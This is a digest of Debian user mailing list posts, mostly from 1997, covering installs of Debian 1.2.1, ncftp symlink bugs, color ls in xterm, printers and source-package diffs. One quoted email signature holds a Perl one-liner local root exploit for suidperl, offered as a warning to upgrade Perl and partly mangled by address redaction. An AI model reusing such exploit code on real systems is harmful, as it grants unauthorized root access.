Re: debian-user-digest Digest V2023 #447
Is the list software blind to language _and_ spam? On 14/5/23 11:59, debian-user-digest-requ...@lists.debian.org wrote:
Re: Seamonkey
Thanks for this, also for other replies. On 19/11/22 01:06, Richmond wrote: David Wright wrote: On Fri 18 Nov 2022 at 19:37:24 (+0800), Richard Jones wrote: There doesn't seem to be a seamonkey package for Debian stable. Am I mistaken? or is there a reason for it to not be supported? I'm presuming I can download and install from the seamonkey site but want to check whether that is a bad idea--compatibility, security, whatever https://wiki.debian.org/Seamonkey may help. Cheers, David. That looks out of date to me. You can download an official build. And it updates itself. https://www.seamonkey-project.org/releases/#official Although I put it into /usr/local/seamonkey and protect it from self-updating using permissions.
Seamonkey
There doesn't seem to be a seamonkey package for Debian stable. Am I mistaken? or is there a reason for it to not be supported? I'm presuming I can download and install from the seamonkey site but want to check whether that is a bad idea--compatibility, security, whatever Richard
(no subject)
I have just installed debian and am having problems login in. at the login screen which should i be putting in, root password, user account, user name or password. It has also timed out on me, can you please give me some help as im new to linux Regards Richard -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
glibc using the GS segment register
I need a version of glibc that uses the GS segment register to access pthread-local storage*. I've neither been able to find one for debian nor is it obvious to me from looking through the sources how to compile it to use %gs. Any suggestions welcomed. I currently have kernel 2.4.18, libc6 version 2.2.5-14.3 on ia32 (pentium 3). TIA Richard * Why? Because the Jikes RVM requires this (and a 2.4 kernel). -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
USB Printer setup
In message <[EMAIL PROTECTED]>, Jack Pistachio <[EMAIL PROTECTED]> writes >I'm having some trouble setting up an Epson Stylus Color >880 USB printer on my linux system. I've compiled a new >2.4.17 kernel since the 'older' 2.2.x kernels do not have >much in the way of USB support without a patch (or so I've >heard). Seems to be working fine and my OHCI USB port can >detect and talk primitively with the printer (i.e. it shows >up in /proc/bus/usb/devices). >However I can't print. Tried using LPD and LPRng with >magicfilter and apsfilter but I'm not sure which filter >specifically is best with the printer. I doubt that is even >the problem since I can only get anything printed by using >'cat file.txt > /dev/lp0' when the printer is on the >parallel port instead of the USB. I tried a similiar >command with the USB and I get nothing. Has anybody >installed an Epson USB printer that can give me some >suggestions or pointers on what they had to do? Thanks. > Hi Jack, I had similar problems. I now use 2.4.17 with the USB bits compiled as modules. I have also changed to using CUPS from Woody. Although it is not a dependency I found that usbutils helped as well. CUPS and the latest gs seems to send the correct string that wakes up the 880 on the USB port. If I can help further give me a shout. Roland -- ___ 1 cent a minute calls anywhere in the U.S.! http://www.getpennytalk.com/cgi-bin/adforward.cgi?p_key=RG9853KJ&url=http://www.getpennytalk.com
Re: ls colors gone after upgrade
William Chow <[EMAIL PROTECTED]> wrote: > > > On Wed, 19 Feb 1997, Richard Jones wrote: > > > > > William Chow <[EMAIL PROTECTED]> wrote: > > > > > > > > > On 17 Feb 1997, Michael Harnois wrote: > > > > > > > > > > > > >.bashrc and/or .profile (or .cshrc or .zshrc, whatever): > > > > > eval `dircolors` > > > > > alias ls 'ls --color=auto' > > > > > > > > This would be wonderful if it were the correct answer. However, as we > > > > > > This IS the correct answer, WTF are you talking about? I've been using a > > > similar alias in my startup scripts for months now. > > > > > > > How often do you use X? Your solution will work on the console, it will > > even print bold characters for special files with Xterms, but it wont > > do colour on my system. The Xresource mentioned below needs to be set. > > > Yeah, but nowhere did you mention this in your reply. You should've said > "this doesn't appear to work in my xterm... etc." not "ls color doesn't > work." > Yes I didn't mention it because I was not the original poster, read the attributions please. Perhaps the original poster should have mentioned in perhaps you should not have stated your fix worked in xterms. > > > > As far as I know Michael is correct on this one, man ls will tell you how > > to get ls to output the required terminal codes to send color, but you need > > to setup xterm to be able to displace them. BTW is "maybe your brain froze > > over" really necessary? I know Michael was a little flamey on his reply, > > but > > this seems a reaction to your orignal unwarranted, "Read the man page you > > bloody fool", response. > > I didn't appreciate the attitude expressed in "this would be wonderful if > it worked, etc. etc." when the person replied with the correct answer to > the question. You should've asked the right question, which is "ls color > appears to work when I am in regular console mode, but not in my xterm," > or even better "when in my color-xterm." The reply to the former would > mostly be "are you sure you're using a color xterm" the reply to the > second would be "are you sure your resources are set correctly?" > Once again I was not the original poster, the original poster asked: "ls colors gone after upgrade. How can I get these back?" Now you are correct it doesn't give much information, but nor does it say "I can't get color ls to work on the console" as you assumed it did, but my quarrel is not with the quality of your reply (if he was having console problems it would have been perfect advice) it is with the general tone of the original and subsequent replies on this thread. They appear to me to be likely to discourage people in asking for help when they need it. Richard Jones -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: ls colors gone after upgrade
William Chow <[EMAIL PROTECTED]> wrote: > > > On 17 Feb 1997, Michael Harnois wrote: > > > > > > >.bashrc and/or .profile (or .cshrc or .zshrc, whatever): > > > eval `dircolors` > > > alias ls 'ls --color=auto' > > > > This would be wonderful if it were the correct answer. However, as we > > This IS the correct answer, WTF are you talking about? I've been using a > similar alias in my startup scripts for months now. > How often do you use X? Your solution will work on the console, it will even print bold characters for special files with Xterms, but it wont do colour on my system. The Xresource mentioned below needs to be set. > > discussed just over a month ago on this list, the correct answer is not > > documented anywhere in the Debian packages. You can read the manpage > > for ls until hell freezes over and still not get color. The correct > > answer was provided by Herbert Xu: > I man ls, one of the options is --color. This should've clued you in. > Maybe your brain froze over... > As far as I know Michael is correct on this one, man ls will tell you how to get ls to output the required terminal codes to send color, but you need to setup xterm to be able to displace them. BTW is "maybe your brain froze over" really necessary? I know Michael was a little flamey on his reply, but this seems a reaction to your orignal unwarranted, "Read the man page you bloody fool", response. > > > > > Yes indeed. And that means you need this resource line: > > > > > > XTerm*customization: -color > Uh, this will only work in an Xterm. Did you just want it in JUST an > Xterm? I don't have access to your original email. If this is the case you > should've specified. Anyway, the above solution will also work on Xterms. > They read the .bashrc by default (assuming you're running bash...). I also > assume you can export the aliases (although I've never done so...) > Like I said, your solution solves only half the problem in an xterm, I think Michael was probably aware of this and was suggesting the resource line *in addition* to the alias and eval. Now maybe you don't use X and maybe your upgrade path didnt present the problems others have had with xterms and color ls, but maybe you could allow for the possibility that not everyone has a mirror of your system setup? I'd prefer not to receive an abusive reply as abuse was not my intention and I apologise if you read things differently. Richard Jones. -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
mongo.pixar.com - OS type?
I am writing some tcp accounting stuff and am trying to figure out some anomolous termination sequences from mongo, (I dont get this from all sites, mongo is one of the few), and I wondered what OS it was running to correlate against the other sites I get the unusual behaviour from. Thanks, Richard Jones. -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
stable rex v's devel bo
I'm considering moving up to bo in order to gain extra stability, this is due to the recent rounds of updates that fix several problems in 1.2.x, yet have gone straight to bo (especially thinking of apache updates here). Does this sound like a good/bad idea? Richard. -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
stable rex v's devel bo
I'm considering moving up to bo in order to gain extra stability, this is due to the recent rounds of updates that fix several problems in 1.2.x, yet have gone straight to bo (especially thinking of apache updates here). Does this sound like a good/bad idea? Richard. -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Apache -- Regarding File Privileges
Johnie Ingram <[EMAIL PROTECTED]> wrote: > [snipped stuff from Paul] > What you did was exactly correct -- the improper permissions are a bug > in that release of apache. You may want to upgrade to the latest > package, apache_1.1.1-8, which fixes some other things as well. It's > available in bo/ on the FTP site. > > I'm the new maintainer of this package, so please let me know if you > have any more problems. > I'm interested as to why these fixes don't appear to have made it to rex, being the stable release surely it needs the fixes more than bo? Richard -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Problems with 1.2.1
Dale Scheetz <[EMAIL PROTECTED]> typed: > On Thu, 9 Jan 1997, Richard Jones wrote: [snip] > > > > Well a few problems were caused by me not deleting the old packages from the > > tree when I had moved across new ones. Also a few problems were caused > > by packages that had been fixed but hadn't reached my mirror at the time I > > downloaded the whole lot. > > Having two versions of a package in an archive will give dselect fits, and > it will usually not do "the right thing". > Yup it surely did..;) > > > > Unfortunately I don't have time to do another fresh install, so > > unfortunately > > due to the non-standard install method (which sounds like it was definately > > part of the problem), all the data I collected on the install process is > > pretty useless as far as putting in reliable bug reports goes :(...but > > maybe > > someone else doing a fresh install the right way could use some of the > > notes > > as a cross-reference for any probs they have. > > > You should not need to start over at this point. From what I know about > the distribution, most of the problems you have had, have to do with > dependency infelicities in various packages. As far as I know, all of > these can be dealt with on a package by package basis. You will find good > support here for helping you through these rough spots. Learning to deal > with the class of problems you are encountering will boost your > confidence in the system and increase your ability to have some fun with > this product. > Sorry, you misunderstood me, I managed to wade through the dependency problems fairly quickly (most of them were the same as for 1.2). What I meant by no time for a fresh install was that due to my broken upgrade method it was difficult to tell which problem were my fault and which were the packages fault, thus making accurate bug reports difficult. This could have only been clarified by a fresh install which I had neither the time or space for (my box is permanently net connected and thus I try to avoid downtime as much as possible). Another point made in the original post was that calling 1.2 (and 1.2.1) stable seems to be one giant misnomer. They are installable if you have used linux before and/or have access to the mailing list, but others not in these groups would struggle (IMO). I haven't used the developement release but I have a feeling it could be just as stable if not more so than the "stable" releases, as many of the "unstable" packages released seem to be upstream bug-fixes that dont go directly into stable for some reason, also many of these dependency problems appear to be caused by packages being built on the developement system (hence depending on stuff like libraries that are not yet available on "stable"), thus not always being fully compatable with the stable tree. > Luck, > > Dwarf > Thanks for response. Richard. P.S. I *do* like debian and think its the most complete linux distribution out there. -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Problems with 1.2.1
> On Wed, 8 Jan 1997, Richard Jones wrote: > > > > > ok, I installed Debian for the first time about 3 weeks ago (1.2), I've > > been running Linux for a few years and have previously installed slackware > > and > > two versions of red-hat. All in all I'm very pleased with Debian (and I am > > especially attracted by debian's general design philosophies), however I'm > > a little surprised at the state of what are called "stable" releases. > >Now, my hard-drive collapsed a few days ago, so I've had the please of > > doing a fresh install of 1.2.1. Unfortunately I had the ncftp problem > > another person struck a few days ago, that is I used ncftp to get the > > distribution and ncftp seems not to like symlinks in its recursive mode, > > therefore I downloaded all of rex then downloaded rex-updates and moved the > > updates into the rex tree (along with the packages.gz file from rex-fixed). > > Its possible that this butchery has been reflected in some (but not all) of > > the problems listed below. > > > > If you are using dselect to do the install you will find many things > broken by the method you used. The principle thing that you broke, by > integrating new packages in by hand in the "Packages" files. This file is > what dselect uses to resolve dependencies and choose packages. But if I have correctly moved the packages from rex-updates into their correct places in rex, then moved Packages.* from rex-fixed also into rex then my rex should be the same as rex-fixed shouldn't it? > Dpkg (maybe it's in dpkg-dev) provides dpkg-scanpackages for > reconstructing Packages files. You will need an override file from the > indices directory as well in order to use this. > Once you have done this, it would be informative to know what else caused > problems. > Well a few problems were caused by me not deleting the old packages from the tree when I had moved across new ones. Also a few problems were caused by packages that had been fixed but hadn't reached my mirror at the time I downloaded the whole lot. Unfortunately I don't have time to do another fresh install, so unfortunately due to the non-standard install method (which sounds like it was definately part of the problem), all the data I collected on the install process is pretty useless as far as putting in reliable bug reports goes :(...but maybe someone else doing a fresh install the right way could use some of the notes as a cross-reference for any probs they have. Is it possible that some packages that have had problems that are fixed are only reaching the development release? I noticed that apache (which i'm about to do a reported bug check on) has a very messed up directory structure despite noticing a couple of recent updates to the unstable version of this package. > Luck, > Thanks. > Dwarf > > -- > > aka Dale Scheetz Phone: 1 (904) 656-9769 > Flexible Software 11000 McCrackin Road > e-mail: [EMAIL PROTECTED] Tallahassee, FL 32308 > > If you don't see what you want, just ask -- -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Colour inkjet printers
"Brian C. White" <[EMAIL PROTECTED]> typed: > Kevin Scott <[EMAIL PROTECTED] typed: > > I am currently considering the purchase of a colour inkjet printer, > > for text and graphics printing (including images from Photo-CD). I > > would be interested in experiences people have had in using them with > > Debian - the models I am currently interested in are the Epson Stylus > > 500 and Stylus Pro and the HP 820CXi and 870CXi. I presume the main > > issue is how well Ghostscript manages to drive the printers, and whether > > all the driver options can be accessed without running under Windows. > > We have an HP DeskJet 850C and it works quite well. Unfortunately, I > have been unable to get it to work with color under Linux (comes with > drivers for Windows and works fine there) because the only ghostscript > device that drives it correctly is the (black&white) "laserjet" driver. > Hmm, strange, I have the 850C and I found that the colour deskjet drivers available with ghostscript worked fine for colour. Its a while since i've used the printer (I switched to a laser jet), so I cant remember exactly which colour deskjet driver worked (there are about half a dozen from memory), but some quick experimentation should quickly show you. > Brian > ( [EMAIL PROTECTED] ) > Richard Jones -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Problems with 1.2.1
Joey Hess <[EMAIL PROTECTED]>
> > List of problems:
>
> You should probably report some of these as bugs using the bug tracking
> system.
>
I figured I would get some feedback first, as due to the non-standard method
of grabbing the 1.2.1 tree I figured some of the problems were due to my
incompetence rather than bugs. I would guess that false bug reports are
almost as much hassle as no bug-reports.
> > - DOSEMU suggest fdos but cannot find it.
> > - xemeraldia, angband, dungeon and mikmod expected a libc5 greater than the
> > one I apparently had (>=5.4.17-1 I think)
>
> I've fixed xemeraldia. Version 0.3-7, which should end up in in debian
> 1.2.1 fixes the problem.
>
Ok thanks, I think my mirror site hadnt caught up when I downloaded everything
( a couple of days ago).
> --
> #!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod [EMAIL
> PROTECTED]
> $_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_
> # Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today..
>
>
> --
> TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
> [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
>
--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
[EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Problems with 1.2.1
grades (one of several reasons I switched to Debian). I think an organised team of testers needs to be put in place, preferably with links fat enough to handle testing completely fresh installs (unfortunately I don't fit this, I have a 28.8 permanent link, shared with others, but I'm happy to test incremental upgrades). Richard Jones -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Debian source tree and incremental diffs question..
Dale Scheetz <[EMAIL PROTECTED]> said: > On Tue, 7 Jan 1997, Richard Jones wrote: > > > > Yup, I think that maybe my original message wasn't too clear. What I > > was trying to get at was, when a new upstream release is made and this > > filters down the stream to a Debian package, will the Debian maintainer > > simply replace the old xxx.orig.tar.gz with the new upstream version and > > update the xxx.diff.gz file accordingly, or will a source patch be made > > available to update the old xxx.orig.tar.gz to the new upstream version > > (I know some upstream maintainers supply such patches , but by no means > > all). On most updated releases such a patch will be orders of magnitude > > smaller than a fresh version of the full upstream version. Once again I > > apologise if I'm stating/restating the obvious here. > > > Sorry, diffs between upstream source releases are not provided. Although, > if you have the diff, you could certainly use it to create your own "new" > upstream source and unpack it using the above process. > Does anyone else think it would be a good idea for the individual Debian package maintainers distributing source diffs to the packages they maintain when a new upstream release leads to a change in the Debian package? I can see such a system having several advantages. Two I can think of off the top of my head are: 1) Massive bandwidth savings for a modest tradeoff in mirror site storage overhead. Source diffs are generally many times smaller than an entire package especially when the changes involve small bug fixes between minor releases. I'm unsure of others situations but in my environment the one-time cost of the storage needed to store the source-tree locally is much smaller than the ongoing costs (in both time and money) for the bandwidth required to download complete packages, which may only reflect several K or even several bytes worth of changes to the original source. 2) Ease of people at the Debian user level ascertaining the cause of bugs. If a user chooses to update using diffs to the upstream source then if something breaks that wasn't broken before the update the diff allows them to determine more precisely what the problem may be. (as an aside, from the security paranoia perspective, if a bogus evil update entered the tree or if a site had to be extra careful about what they let onto their system, the source diff option adds an ideal upgrade route ). > > > > Just out of interest is there something along the lines of dftp-source, > > or dpkg-source-ftp? > > > Nope. Hmmm, if the above idea caught on these would prolly be near essential I'd guess. > > Luck, > -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
ncftp bug (was Re: debian updates tree structure)
Ryan Shaw <[EMAIL PROTECTED]> typed: > [snip] > > i then went back to caldera to grab the 1.2.1 release thinking that it > would be mostly links back to the 1.2 release (other than the updated > packages). > > however, all i got was a bunch of links. > > here's how i have my tree setup: > [pretty tree output snipped] > > i downloaded everything under `rex-fixed' aka Debian-1.2.1 and ended up > with a bunch of symlinks. > > i am using ncftp to grab these. > > what am i doing wrong? (besides not ordering a cd) > Its not really what you are doing wrong it is what (IMO) ncftp is doing wrong. I've noticed that ncftp will *not* follow symlinks in at least the case of get -CR directory_name. I feel that whilst this may be useful behaviour in some circumstances, that the ommission of an option to turn this "feature" off is probably a bug. It certainly makes ncftp useless for situations such as the sensible symlink setup of the 1.2.1 tree. I've meant to send a mail to the upstream maintainer about this. On this same topic, ncftp with get -CR will happily merge two files into one if you are doing simultaenous recursive regets on the same directory. For example get -CR dir1 executed in two seperate ncftp sessions on the same dir1 will for say the file dir1/filename create a dir1/filename on your host which is a blend of the two identical filenames. methinks this is also an avoidable problem (i.e. bug). > > > -- > TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to > [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED] > -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Re: Debian source tree and incremental diffs question..
Dale Scheetz <[EMAIL PROTECTED]> said: > On Tue, 7 Jan 1997, Richard Jones wrote: > > > > > Hiya, i thought I saw someone mention that upgrades to existing > > packages were available via diffs to the source. Thus allowing the download > > of just the diff rather than the entire .orig source ( assuming of > > course you have the source to the original package online). Now I > > checked out the FAQ and a few other places and see no mention of this. > > If this feature is available can someone tell me where I can read about > > it, if it isn't is something like this (or perhaps even something > > similar to FreeBSD's CVS upgrade system) likely to become available? > > > First, let me make clear that we are not talking about upgrading binary > packages here. This is strictly a source packaging issue. > Yup, that is understood. > That said, you are referring to the new source package format, which has > many nice features, most notably the one you referred to. > First, not all packages have been converted to the new source format, so > you will see some packages in the old format. (I am going to assume that > everyone knows how the old format worked) > > The new format consists of a source tree in package_xxx.orig.tar.gz that > unpacks into a source tree as nearly identical to that provided by the > upstream provider as is possible; a diff.gz file containing the > differences between this source and the debianized version of the tree; > and a "Debian Source Control" file .dsc that will tell the packaging tools > how to unpack the source file. > Yup, I think that maybe my original message wasn't too clear. What I was trying to get at was, when a new upstream release is made and this filters down the stream to a Debian package, will the Debian maintainer simply replace the old xxx.orig.tar.gz with the new upstream version and update the xxx.diff.gz file accordingly, or will a source patch be made available to update the old xxx.orig.tar.gz to the new upstream version (I know some upstream maintainers supply such patches , but by no means all). On most updated releases such a patch will be orders of magnitude smaller than a fresh version of the full upstream version. Once again I apologise if I'm stating/restating the obvious here. > If you have installed the dpkg and dpkg-dev packages, more recent that > 1.4.0 you will be able to unpack the source using these files with the > following command: > > dpkg-source -x package_.dsc > > in the directory containing the orig.tar.gz, diff, and dsc files. This > will generate a source tree you can build with: > > dpkg-buildpackage > Just out of interest is there something along the lines of dftp-source, or dpkg-source-ftp? Richard Jones -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Debian source tree and incremental diffs question..
Hiya, i thought I saw someone mention that upgrades to existing packages were available via diffs to the source. Thus allowing the download of just the diff rather than the entire .orig source ( assuming of course you have the source to the original package online). Now I checked out the FAQ and a few other places and see no mention of this. If this feature is available can someone tell me where I can read about it, if it isn't is something like this (or perhaps even something similar to FreeBSD's CVS upgrade system) likely to become available? Richard Jones -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
rex-updates/binary where can I find it?
The last mesg I received from Debian Installer indicated that updates for rex were being uploaded to rex-updates/binary, however I checked a few sites (including ftp.debian.org and master.debian.org), and this directory was either non-existant, empty or inaccessable. Whats up? Are these updates placed directly into rex/binary? Coz it seems that dftp isnt able to find them if that is the case. Richard. -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
Compile time errors in include files...
Hiya, I'm using g++ under Debian 1.2 and have the following compile error: g++ -O -I ./lib-c an.cc -o an.o In file included from /usr/include/features.h:134, from /usr/include/stdio.h:31, from an.cc:22: /usr/include/sys/cdefs.h:118: parse error before `typedef' here is the relevant lines in cdefs.h /* This is not a typedef so `const __ptr_t' does the right thing. */ #define __ptr_t void * typedef long double __long_double_t; Now I post this here rather than a gcc/g++ list as this appears to be a problem in how I have set up the system as surely gcc shouldn't barf on the header files? -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]
